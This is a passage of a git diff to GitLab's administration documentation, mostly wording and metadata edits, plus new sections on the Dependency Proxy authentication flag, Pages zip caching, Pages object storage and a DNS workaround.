settings](../object_storage.md#consolidated-object-storage-configuration). This section describes the earlier configuration format. @@ -161,3 +161,22 @@ This section describes the earlier configuration format. ``` 1. [Restart GitLab](../restart_gitlab.md#installations-from-source "How to restart GitLab") for the changes to take effect. + +## Disabling Authentication + +Authentication was introduced in 13.7 as part of [enabling private groups to use the +Dependency Proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/11582). If you +previously used the Dependency Proxy without authentication and need to disable +this feature while you update your workflow to [authenticate with the Dependency +Proxy](../../user/packages/dependency_proxy/index.md#authenticate-with-the-dependency-proxy), +the following commands can be issued in a Rails console: + +```ruby +# Disable the authentication +Feature.disable(:dependency_proxy_for_private_groups) + +# Re-enable the authentication +Feature.enable(:dependency_proxy_for_private_groups) +``` + +The ability to disable this feature will be [removed in 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/276777). diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md index 4af0de864ca..0f391371a6a 100644 --- a/doc/administration/packages/index.md +++ b/doc/administration/packages/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Package Registry administration @@ -32,8 +32,8 @@ The Package Registry supports the following formats: ## Accepting contributions -The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) will -guide you through the process. +The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) +guides you through the process. | Format | Status | | ------ | ------ | @@ -53,10 +53,10 @@ guide you through the process. ## Enabling the Packages feature -NOTE: **Note:** +NOTE: After the Packages feature is enabled, the repositories are available -for all new projects by default. To enable it for existing projects, users will -have to explicitly do so in the project's settings. +for all new projects by default. To enable it for existing projects, users +explicitly do so in the project's settings. To enable the Packages feature: @@ -72,7 +72,7 @@ To enable the Packages feature: **Installations from source** -1. After the installation is complete, you will have to configure the `packages` +1. After the installation is complete, you configure the `packages` section in `config/gitlab.yml`. Set to `true` to enable it: ```yaml @@ -84,7 +84,7 @@ To enable the Packages feature: **Helm Chart installations** -1. After the installation is complete, you will have to configure the `packages` +1. After the installation is complete, you configure the `packages` section in `global.appConfig.packages`. Set to `true` to enable it: ```yaml @@ -136,8 +136,8 @@ store packages. [Read more about using object storage with GitLab](../object_storage.md). -NOTE: **Note:** -We recommend using the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). The following instructions apply to the original config format. +NOTE: +We recommend using the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). The following instructions apply to the original configuration format. **Omnibus GitLab installations** @@ -214,7 +214,7 @@ We recommend using the [consolidated object storage settings](../object_storage. After [configuring the object storage](#using-object-storage), you may use the following task to migrate existing packages from the local storage to the remote one. -The processing will be done in a background worker and requires **no downtime**. +The processing is done in a background worker and requires **no downtime**. For Omnibus GitLab: diff --git a/doc/administration/pages/img/zip_cache_configuration.png b/doc/administration/pages/img/zip_cache_configuration.png Binary files differnew file mode 100644 index 00000000000..a332d8d0eb5 --- /dev/null +++ b/doc/administration/pages/img/zip_cache_configuration.png diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 0ebeb96d247..af0476b72e9 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'Learn how to administer GitLab Pages.' --- @@ -16,7 +16,7 @@ description: 'Learn how to administer GitLab Pages.' GitLab Pages allows for hosting of static sites. It must be configured by an administrator. Separate [user documentation](../../user/project/pages/index.md) is available. -NOTE: **Note:** +NOTE: This guide is for Omnibus GitLab installations. If you have installed GitLab from source, see [GitLab Pages administration for source installations](source.md). @@ -53,7 +53,7 @@ supporting custom domains a secondary IP is not needed. Before proceeding with the Pages configuration, you will need to: -1. Have a domain for Pages that is not a subdomain of your GitLab's instance domain. +1. Have a domain for Pages that is not a subdomain of your GitLab instance domain. | GitLab domain | Pages domain | Does it work? | | :---: | :---: | :---: | @@ -68,7 +68,7 @@ Before proceeding with the Pages configuration, you will need to: so that your users don't have to bring their own. 1. (Only for custom domains) Have a **secondary IP**. -NOTE: **Note:** +NOTE: If your GitLab instance and the Pages daemon are deployed in a private network or behind a firewall, your GitLab Pages websites will only be accessible to devices/users that have access to the private network. ### Add the domain to the Public Suffix List @@ -101,7 +101,7 @@ where `example.io` is the domain under which GitLab Pages will be served and `192.0.2.1` is the IPv4 address of your GitLab instance and `2001::1` is the IPv6 address. If you don't have IPv6, you can omit the AAAA record. -NOTE: **Note:** +NOTE: You should not use the GitLab domain to serve user pages. For more information see the [security section](#security). ## Configuration @@ -181,7 +181,7 @@ behavior: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). -NOTE: **Note:** +NOTE: `inplace_chroot` option might not work with the other features, such as [Pages Access Control](#access-control). The [GitLab Pages README](https://gitlab.com/gitlab-org/gitlab-pages#caveats) has more information about caveats and workarounds. @@ -204,13 +204,13 @@ control over how the Pages daemon runs and serves content in your environment. | `artifacts_server_url` | API URL to proxy artifact requests to. Defaults to GitLab `external URL` + `/api/v4`, for example `https://gitlab.com/api/v4`. | `auth_redirect_uri` | Callback URL for authenticating with GitLab. Defaults to project's subdomain of `pages_external_url` + `/auth`. | `auth_secret` | Secret key for signing authentication requests. Leave blank to pull automatically from GitLab during OAuth registration. -| `dir` | Working directory for config and secrets files. +| `dir` | Working directory for configuration and secrets files. | `enable` | Enable or disable GitLab Pages on the current system. | `external_http` | Configure Pages to bind to one or more secondary IP addresses, serving HTTP requests. Multiple addresses can be given as an array, along with exact ports, for example `['1.2.3.4', '1.2.3.5:8063']`. Sets value for `listen_http`. | `external_https` | Configure Pages to bind to one or more secondary IP addresses, serving HTTPS requests. Multiple addresses can be given as an array, along with exact ports, for example `['1.2.3.4', '1.2.3.5:8063']`. Sets value for `listen_https`. | `gitlab_client_http_timeout` | GitLab API HTTP client connection timeout in seconds (default: 10s). | `gitlab_client_jwt_expiry` | JWT Token expiry time in seconds (default: 30s). -| `domain_config_source` | Domain configuration source (default: `disk`) +| `domain_config_source` | Domain configuration source (default: `auto`) | `gitlab_id` | The OAuth application public ID. Leave blank to automatically fill when Pages authenticates with GitLab. | `gitlab_secret` | The OAuth application secret. Leave blank to automatically fill when Pages authenticates with GitLab. | `gitlab_server` | Server to use for authentication when access control is enabled; defaults to GitLab `external_url`. @@ -241,7 +241,7 @@ control over how the Pages daemon runs and serves content in your environment. | `pages_path` | The directory on disk where pages are stored, defaults to `GITLAB-RAILS/shared/pages`. | `pages_nginx[]` | | | `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains). -| `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more info. | +| `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more information. | --- @@ -375,7 +375,7 @@ Pages access control is disabled by default. To enable it: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Users can now configure it in their [projects' settings](../../user/project/pages/pages_access_control.md). -NOTE: **Important:** +NOTE: For this setting to be effective with multi-node setups, it has to be applied to all the App nodes and Sidekiq nodes. @@ -395,7 +395,7 @@ To do that: 1. Check the **Disable public access to Pages sites** checkbox. 1. Click **Save changes**. -CAUTION: **Warning:** +WARNING: For self-managed installations, all public websites remain private until they are redeployed. This issue will be resolved by [sourcing domain configuration from the GitLab API](https://gitlab.com/gitlab-org/gitlab/-/issues/218357). @@ -427,6 +427,42 @@ Authority (CA) in the system certificate store. For Omnibus, this is fixed by [installing a custom CA in Omnibus GitLab](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). +### Zip serving and cache configuration + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/392) in GitLab 13.7. + +WARNING: +These are advanced settings. The recommended default values are set inside GitLab Pages. You should +change these settings only if absolutely necessary. Use extreme caution. + +GitLab Pages can serve content from zip archives through object storage (an +[issue](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/485) exists for supporting disk storage +as well). It uses an in-memory cache to increase the performance when serving content from a zip +archive. You can modify the cache behavior by changing the following configuration flags. + +| Setting | Description | +| ------- | ----------- | +| `zip_cache_expiration` | The cache expiration interval of zip archives. Must be greater than zero to avoid serving stale content. Default is 60s. | +| `zip_cache_cleanup` | The interval at which archives are cleaned from memory if they have already expired. Default is 30s. | +| `zip_cache_refresh` | The time interval in which an archive is extended in memory if accessed before `zip_cache_expiration`. This works together with `zip_cache_expiration` to determine if an archive is extended in memory. See the [example below](#zip-cache-refresh-example) for important details. Default is 30s. | +| `zip_open_timeout` | The maximum time allowed to open a zip archive. Increase this time for big archives or slow network connections, as doing so may affect the latency of serving Pages. Default is 30s. | + +#### Zip cache refresh example + +Archives are refreshed in the cache (extending the time they are held in memory) if they're accessed +before `zip_cache_expiration`, and the time left before expiring is less than or equal to +`zip_cache_refresh`. For example, if `archive.zip` is accessed at time 0s, it expires in 60s (the +default for `zip_cache_expiration`). In the example below, if the archive is opened again after 15s +it is **not** refreshed because the time left for expiry (45s) is greater than `zip_cache_refresh` +(default 30s). However, if the archive is accessed again after 45s (from the first time it was +opened) it's refreshed. This extends the time the archive remains in memory from +`45s + zip_cache_expiration (60s)`, for a total of 105s. + +After an archive reaches `zip_cache_expiration`, it's marked as expired and removed on the next +`zip_cache_cleanup` interval. + + + ## Activate verbose logging for daemon Verbose logging was [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in @@ -539,7 +575,7 @@ your main application server. To configure GitLab Pages on a separate server: -DANGER: **Warning:** +WARNING: The following procedure includes steps to back up and edit the `gitlab-secrets.json` file. This file contains secrets that control database encryption. Proceed with caution. @@ -632,13 +668,14 @@ Pages server. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3. GitLab Pages can use different sources to get domain configuration. -The default value is `nil`; however, GitLab Pages will default to `disk`. +The default value is `nil`; however, GitLab Pages will default to `auto`. ```ruby gitlab_pages['domain_config_source'] = nil ``` -You can specify `gitlab` to enable [API-based configuration](#gitlab-api-based-configuration). +If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The +preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration). For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/). @@ -655,15 +692,86 @@ was used prior to GitLab 13.0. Follow these steps to enable it: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -If you encounter an issue, you can disable it by choosing `disk` or `nil`: +If you encounter an issue, you can disable it by choosing `disk`: ```ruby -gitlab_pages['domain_config_source'] = nil +gitlab_pages['domain_config_source'] = "disk" ``` For other common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api) or report an issue. +## Using object storage + +> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5577) in GitLab 13.6. + +[Read more about using object storage with GitLab](../object_storage.md). + +### Object storage settings + +The following settings are: + +- Nested under `pages:` and then `object_store:` on source installations. +- Prefixed by `pages_object_store_` on Omnibus GitLab installations. + +| Setting | Description | Default | +|---------|-------------|---------| +| `enabled` | Whether object storage is enabled. | `false` | +| `remote_directory` | The name of the bucket where Pages site content is stored. | | +| `connection` | Various connection options described below. | | + +#### S3-compatible connection settings + +See [the available connection settings for different providers](../object_storage.md#connection-settings). + +In Omnibus installations: + +1. Add the following lines to `/etc/gitlab/gitlab.rb` and replace the values with the ones you want: + + ```ruby + gitlab_rails['pages_object_store_enabled'] = true + gitlab_rails['pages_object_store_remote_directory'] = "pages" + gitlab_rails['pages_object_store_connection'] = { + 'provider' => 'AWS', + 'region' => 'eu-central-1', + 'aws_access_key_id' => 'AWS_ACCESS_KEY_ID', + 'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY' + } + ``` + + If you use AWS IAM profiles, be sure to omit the AWS access key and secret access key/value + pairs: + + ```ruby + gitlab_rails['pages_object_store_connection'] = { + 'provider' => 'AWS', + 'region' => 'eu-central-1', + 'use_iam_profile' => true + } + ``` + +1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) + for the changes to take effect. + +In installations from source: + +1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: + + ```yaml + pages: + object_store: + enabled: true + remote_directory: "pages" # The bucket name + connection: + provider: AWS # Only AWS supported at the moment + aws_access_key_id: AWS_ACESS_KEY_ID + aws_secret_access_key: AWS_SECRET_ACCESS_KEY + region: eu-central-1 + ``` + +1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source) + for the changes to take effect. + ## Backup GitLab Pages are part of the [regular backup](../../raketasks/backup_restore.md), so there is no separate backup to configure. @@ -734,7 +842,7 @@ x509: certificate signed by unknown authority ``` The reason for those errors is that the files `resolv.conf` and `ca-bundle.pem` are missing inside the chroot. -The fix is to copy the host's `/etc/resolv.conf` and GitLab's certificate bundle inside the chroot: +The fix is to copy the host's `/etc/resolv.conf` and the GitLab certificate bundle inside the chroot: ```shell sudo mkdir -p /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl @@ -811,3 +919,11 @@ Upgrading to an [officially supported operating system](https://about.gitlab.com This problem comes from the permissions of the GitLab Pages OAuth application. To fix it, go to **Admin > Applications > GitLab Pages** and edit the application. Under **Scopes**, ensure that the `api` scope is selected and save your changes. + +### Workaround in case no wildcard DNS entry can be set + +If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still use GitLab Pages in a limited fashion: + +1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace) + all projects you need to use Pages with into a single group namespace, for example `pages`. +1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`. diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index 87217b141a4..c7c25f0f3a7 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -1,12 +1,12 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pages administration for source installations -NOTE: **Note:** +NOTE: Before attempting to enable GitLab Pages, first make sure you have [installed GitLab](../../install/installation.md) successfully. @@ -77,7 +77,7 @@ host that GitLab runs. For example, an entry would look like this: where `example.io` is the domain under which GitLab Pages will be served and `192.0.2.1` is the IP address of your GitLab instance. -NOTE: **Note:** +NOTE: You should not use the GitLab domain to serve user pages. For more information see the [security section](#security). @@ -349,7 +349,7 @@ world. Custom domains and TLS are supported. ## NGINX caveats -NOTE: **Note:** +NOTE: The following information applies only for installations from source. Be extra careful when setting up the domain name in the NGINX configuration. You must @@ -395,7 +395,7 @@ API to check that the user is authorized to read that site. From [GitLab 12.8](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/3689) onward, Access Control parameters for Pages are set in a configuration file, which by convention is named `gitlab-pages-config`. The configuration file is passed to -pages using the `-config flag` or CONFIG environment variable. +pages using the `-config flag` or `CONFIG` environment variable. Pages access control is disabled by default. To enable it: diff --git a/doc/administration/plugins.md b/doc/administration/plugins.md index dbb733b9b19..f5d4b3aa2ff 100644 --- a/doc/administration/plugins.md +++ b/doc/administration/plugins.md @@ -3,3 +3,6 @@ redirect_to: 'file_hooks.md' --- This document was moved to [File Hooks](file_hooks.md), after the Plugins feature was renamed to File Hooks. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/polling.md b/doc/administration/polling.md index 17b8045b51f..cd2e8ecad60 100644 --- a/doc/administration/polling.md +++ b/doc/administration/polling.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Polling configuration @@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w The GitLab UI polls for updates for different resources (issue notes, issue titles, pipeline statuses, etc.) on a schedule appropriate to the resource. -In "Application settings -> Real-time features" you can configure "Polling +In **[Admin Area](../user/admin_area/index.md) > Settings > Preferences > Real-time features**, +you can configure "Polling interval multiplier". This multiplier is applied to all resources at once, and decimal values are supported. For the sake of the examples below, we will say that issue notes poll every 2 seconds, and issue titles poll every 5 diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md index 4a164c66578..a9d0af952a0 100644 --- a/doc/administration/postgresql/external.md +++ b/doc/administration/postgresql/external.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Configure GitLab using an external PostgreSQL service diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md index c7ec46db654..0e6fd757421 100644 --- a/doc/administration/postgresql/index.md +++ b/doc/administration/postgresql/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md index 7760b197267..f09ac3052f4 100644 --- a/doc/administration/postgresql/pgbouncer.md +++ b/doc/administration/postgresql/pgbouncer.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -36,7 +36,7 @@ This content has been moved to a [new location](replication_and_failover.md#conf 1. Run `gitlab-ctl reconfigure` - NOTE: **Note:** + NOTE: If the database was already running, it will need to be restarted after reconfigure by running `gitlab-ctl restart postgresql`. 1. On the node you are running PgBouncer on, make sure the following is set in `/etc/gitlab/gitlab.rb` diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md index a29815672e5..303246c9c82 100644 --- a/doc/administration/postgresql/replication_and_failover.md +++ b/doc/administration/postgresql/replication_and_failover.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM ONLY)** @@ -35,7 +35,7 @@ You also need to take into consideration the underlying network topology, making sure you have redundant connectivity between all Database and GitLab instances to avoid the network becoming a single point of failure. -NOTE: **Note:** +NOTE: As of GitLab 13.3, PostgreSQL 12 is shipped with Omnibus GitLab. Clustering for PostgreSQL 12 is only supported with Patroni. See the [Patroni](#patroni) section for further details. The support for repmgr will not be extended beyond PostgreSQL 11. @@ -460,7 +460,7 @@ Check the [Troubleshooting section](#troubleshooting) before proceeding. # END user configuration ``` - NOTE: **Note:** + NOTE: `pgbouncer_role` was introduced with GitLab 10.3. 1. Run `gitlab-ctl reconfigure` @@ -985,7 +985,7 @@ after it has been restored to service. gitlab-ctl restart repmgrd ``` - CAUTION: **Warning:** + WARNING: When the server is brought back online, and before you switch it to a standby node, repmgr will report that there are two masters. If there are any clients that are still attempting to write to the old master, @@ -1148,7 +1148,7 @@ If you're running into an issue with a component not outlined here, be sure to c ## Patroni -NOTE: **Note:** +NOTE: Starting from GitLab 13.1, Patroni is available for **experimental** use to replace repmgr. Due to its experimental nature, Patroni support is **subject to change without notice.** @@ -1326,7 +1326,7 @@ For further details, see [Patroni documentation on this subject](https://patroni ### Switching from repmgr to Patroni -CAUTION: **Warning:** +WARNING: Although switching from repmgr to Patroni is fairly straightforward the other way around is not. Rolling back from Patroni to repmgr can be complicated and may involve deletion of data directory. If you need to do that, please contact GitLab support. @@ -1345,7 +1345,7 @@ You can switch an exiting database cluster to use Patroni instead of repmgr with sudo gitlab-ctl stop postgresql ``` - NOTE: **Note:** + NOTE: Ensure that there is no `walsender` process running on the primary node. `ps aux | grep walsender` must not show any running process. @@ -1367,7 +1367,7 @@ As of GitLab 13.3, PostgreSQL 11.7 and 12.3 are both shipped with Omnibus GitLab uses PostgreSQL 11 by default. Therefore `gitlab-ctl pg-upgrade` does not automatically upgrade to PostgreSQL 12. If you want to upgrade to PostgreSQL 12, you must ask for it explicitly. -CAUTION: **Warning:** +WARNING: The procedure for upgrading PostgreSQL in a Patroni cluster is different than when upgrading using repmgr. The following outlines the key differences and important considerations that need to be accounted for when upgrading PostgreSQL. @@ -1401,7 +1401,7 @@ Considering these, you should carefully plan your PostgreSQL upgrade: gitlab-ctl patroni members ``` - NOTE: **Note:** + NOTE: `gitlab-ctl pg-upgrade` tries to detect the role of the node. If for any reason the auto-detection does not work or you believe it did not detect the role correctly, you can use the `--leader` or `--replica` arguments to manually override it. @@ -1446,7 +1446,7 @@ Considering these, you should carefully plan your PostgreSQL upgrade: sudo gitlab-ctl pg-upgrade -V 12 ``` -NOTE: **Note:** +NOTE: Reverting PostgreSQL upgrade with `gitlab-ctl revert-pg-upgrade` has the same considerations as `gitlab-ctl pg-upgrade`. You should follow the same procedure by first stopping the replicas, then reverting the leader, and finally reverting the replicas. diff --git a/doc/administration/postgresql/standalone.md b/doc/administration/postgresql/standalone.md index 2ac74e8a4a0..30495824cd2 100644 --- a/doc/administration/postgresql/standalone.md +++ b/doc/administration/postgresql/standalone.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Standalone PostgreSQL using Omnibus GitLab **(CORE ONLY)** @@ -59,7 +59,7 @@ together with Omnibus GitLab. This is recommended as part of our gitlab_rails['auto_migrate'] = false ``` - NOTE: **Note:** + NOTE: The role `postgres_role` was introduced with GitLab 10.3 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. diff --git a/doc/administration/pseudonymizer.md b/doc/administration/pseudonymizer.md index 41a7ec087ac..5f1272b1f4a 100644 --- a/doc/administration/pseudonymizer.md +++ b/doc/administration/pseudonymizer.md @@ -1,18 +1,18 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pseudonymizer **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5532) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.1. -As GitLab's database hosts sensitive information, using it unfiltered for analytics +As the GitLab database hosts sensitive information, using it unfiltered for analytics implies high security requirements. To help alleviate this constraint, the Pseudonymizer -service is used to export GitLab's data in a pseudonymized way. +service is used to export GitLab data in a pseudonymized way. -CAUTION: **Warning:** +WARNING: This process is not impervious. If the source data is available, it's possible for a user to correlate data to the pseudonymized version. @@ -28,7 +28,7 @@ To configure the pseudonymizer, you need to: - Provide a manifest file that describes which fields should be included or pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/tree/master/config/pseudonymizer.yml)). - A default manifest is provided with the GitLab installation. Using a relative file path will be resolved from the Rails root. + A default manifest is provided with the GitLab installation, using a relative file path that resolves from the Rails root. Alternatively, you can use an absolute file path. - Use an object storage and specify the connection parameters in the `pseudonymizer.upload.connection` configuration option. @@ -100,7 +100,7 @@ sudo gitlab-rake gitlab:db:pseudonymizer sudo -u git -H bundle exec rake gitlab:db:pseudonymizer RAILS_ENV=production ``` -This will produce some CSV files that might be very large, so make sure the +This produces some CSV files that might be very large, so make sure the `PSEUDONYMIZER_OUTPUT_DIR` has sufficient space. As a rule of thumb, at least 10% of the database size is recommended. diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md index f61a3107b3d..25869fd425d 100644 --- a/doc/administration/raketasks/check.md +++ b/doc/administration/raketasks/check.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrity check Rake task **(CORE ONLY)** @@ -56,7 +56,7 @@ sudo -u git -H bundle exec rake gitlab:git:fsck RAILS_ENV=production Various types of files can be uploaded to a GitLab installation by users. These integrity checks can detect missing files. Additionally, for locally stored files, checksums are generated and stored in the database upon upload, -and these checks will verify them against current files. +and these checks verify them against current files. Currently, integrity checks are supported for the following types of file: @@ -137,8 +137,8 @@ Done! ## LDAP check -The LDAP check Rake task will test the bind DN and password credentials -(if configured) and will list a sample of LDAP users. This task is also +The LDAP check Rake task tests the bind DN and password credentials +(if configured) and lists a sample of LDAP users. This task is also executed as part of the `gitlab:check` task, but can run independently. See [LDAP Rake Tasks - LDAP Check](ldap.md#check) for details. diff --git a/doc/administration/raketasks/doctor.md b/doc/administration/raketasks/doctor.md index e6a6751f199..c80f580cce6 100644 --- a/doc/administration/raketasks/doctor.md +++ b/doc/administration/raketasks/doctor.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Doctor Rake tasks **(CORE ONLY)** diff --git a/doc/administration/raketasks/geo.md b/doc/administration/raketasks/geo.md index 0ee6fd8fc75..492fe4b52ca 100644 --- a/doc/administration/raketasks/geo.md +++ b/doc/administration/raketasks/geo.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Geo Rake Tasks **(PREMIUM ONLY)** diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index d549110c32f..5c0bc721a9a 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitHub import **(CORE ONLY)** @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w To retrieve and import GitHub repositories, you need a [GitHub personal access token](https://github.com/settings/tokens). A username should be passed as the second argument to the Rake task, -which will become the owner of the project. You can resume an import +which becomes the owner of the project. You can resume an import with the same command. Bear in mind that the syntax is very specific. Remove any spaces within the argument block and @@ -20,7 +20,7 @@ before/after the brackets. Also, some shells (for example, `zsh`) can interpret ## Caveats If the GitHub [rate limit](https://developer.github.com/v3/#rate-limiting) is reached while importing, -the importing process will wait (`sleep()`) until it can continue importing. +the importing process waits (`sleep()`) until it can continue importing. ## Importing multiple projects @@ -35,8 +35,8 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production ``` In this case, `access_token` is your GitHub personal access token, `root` -is your GitLab username, and `foo/bar` is the new GitLab namespace/project that -will get created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. +is your GitLab username, and `foo/bar` is the new GitLab namespace/project +created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. ## Importing a single project diff --git a/doc/administration/raketasks/ldap.md b/doc/administration/raketasks/ldap.md index 821a72291fd..7dafda89e3c 100644 --- a/doc/administration/raketasks/ldap.md +++ b/doc/administration/raketasks/ldap.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access 